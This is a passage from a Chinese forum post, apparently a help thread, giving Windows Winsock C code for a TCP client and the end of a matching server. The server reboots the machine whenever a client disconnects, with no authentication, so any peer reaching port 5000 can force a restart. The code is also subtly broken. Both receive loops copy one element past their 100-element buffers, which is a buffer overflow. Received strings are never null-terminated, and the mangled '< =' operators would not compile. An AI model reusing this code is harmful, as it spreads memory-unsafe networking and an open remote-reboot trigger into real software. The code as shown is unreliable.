return FALSE;
}
for (;;)
{
// Receive data from the client.
iReturn = recv (ClientSock, szServerA, sizeof (szServerA), 0);
// Check if there is any data received. If there is, display it.
if (iReturn == SOCKET_ERROR)
{
wsprintf (szError, TEXT("No data is received, recv failed.")
TEXT(" Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Server"), MB_OK);
break;
}
else if (iReturn == 0)
{
MessageBox (NULL, TEXT("Finished receiving data"), TEXT("Server"),
MB_OK);
ExitWindowsEx(EWX_REBOOT,0); //restart windows
break;
}
else
{
// Convert the ASCII string to the UNICODE string.
for (index = 0; index < = sizeof (szServerA); index++)
szServerW[index] = szServerA[index];
// Display the string received from the client.
MessageBox (NULL, szServerW, TEXT("Received From Client"), MB_OK);
}
}
// Send a string from the server to the client.
if (send (ClientSock, "To Client.", strlen ("To Client.") + 1, 0)
== SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Sending data to the client failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
}
// Disable both sending and receiving on ClientSock.
shutdown (ClientSock, 0x02);
// Close ClientSock.
closesocket (ClientSock);
WSACleanup ();
return TRUE;
}
  客户端程序:
#include < windows.h>
#include < winsock.h>
#define PORTNUM 5000 // Port number
#define HOSTNAME "localhost" // Server name string
// This should be changed
// according to the server
int WINAPI WinMain (
HINSTANCE hInstance, // Handle to the current instance
HINSTANCE hPrevInstance,// Handle to the previous instance
LPTSTR lpCmdLine, // Pointer to the command line
int nCmdShow) // Show state of the window
{
int index = 0, // Integer index
iReturn; // Return value of recv function
char szClientA[100]; // ASCII string
TCHAR szClientW[100]; // UNICODE string
TCHAR szError[100]; // Error message string
SOCKET ServerSock = INVALID_SOCKET; // Socket bound to the server
SOCKADDR_IN destination_sin; // Server socket address
PHOSTENT phostent = NULL; // Points to the HOSTENT structure
// of the server
WSADATA WSAData; // Contains details of the Windows
// Sockets implementation
// Initiate Windows Sockets.
if (WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
wsprintf (szError, TEXT("WSAStartup failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}
// Create a TCP/IP socket that is bound to the server.
if ((ServerSock = socket (AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
wsprintf (szError, TEXT("Allocating socket failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}
// Fill out the server socket's address information.
destination_sin.sin_family = AF_INET;
// Retrieve the host information corresponding to the host name.
if ((phostent = gethostbyname (HOSTNAME)) == NULL)
{
wsprintf (szError, TEXT("Unable to get the host name. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (ServerSock);
return FALSE;
}
// Assign the socket IP address.
memcpy ((char FAR *)&(destination_sin.sin_addr),
phostent->h_addr,
phostent->h_length);
// Convert to network ordering.
destination_sin.sin_port = htons (PORTNUM);
// Establish a connection to the server socket.
if (connect (ServerSock,
(PSOCKADDR) &destination_sin,
sizeof (destination_sin)) == SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Connecting to the server failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (ServerSock);
return FALSE;
}
// Send a string to the server.
if (send (ServerSock, "To Server.", strlen ("To Server.") + 1, 0)
== SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Sending data to the server failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
}
// Disable sending on ServerSock.
shutdown (ServerSock, 0x01);
for (;;)
{
// Receive data from the server socket.
iReturn = recv (ServerSock, szClientA, sizeof (szClientA), 0);
// Check if there is any data received. If there is, display it.
if (iReturn == SOCKET_ERROR)
{
wsprintf (szError, TEXT("No data is received, recv failed.")
TEXT(" Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Client"), MB_OK);
break;
}
else if (iReturn == 0)
{
MessageBox (NULL, TEXT("Finished receiving data"), TEXT("Client"),
MB_OK);
break;
}
else
{
// Convert the ASCII string to the UNICODE string.
for (index = 0; index < = sizeof (szClientA); index++)
szClientW[index] = szClientA[index];
// Display the string received from the server.
MessageBox (NULL, szClientW, TEXT("Received From Server"), MB_OK);
}
}
// Disable receiving on ServerSock.
shutdown (ServerSock, 0x00);
// Close the socket.
closesocket (ServerSock);
WSACleanup ();
return TRUE;
}

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|捐助支持|无忧启动 ( 闽ICP备05002490号-1 )

闽公网安备 35020302032614号

GMT+8, 2026-3-8 05:19

Powered by Discuz! X3.3

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表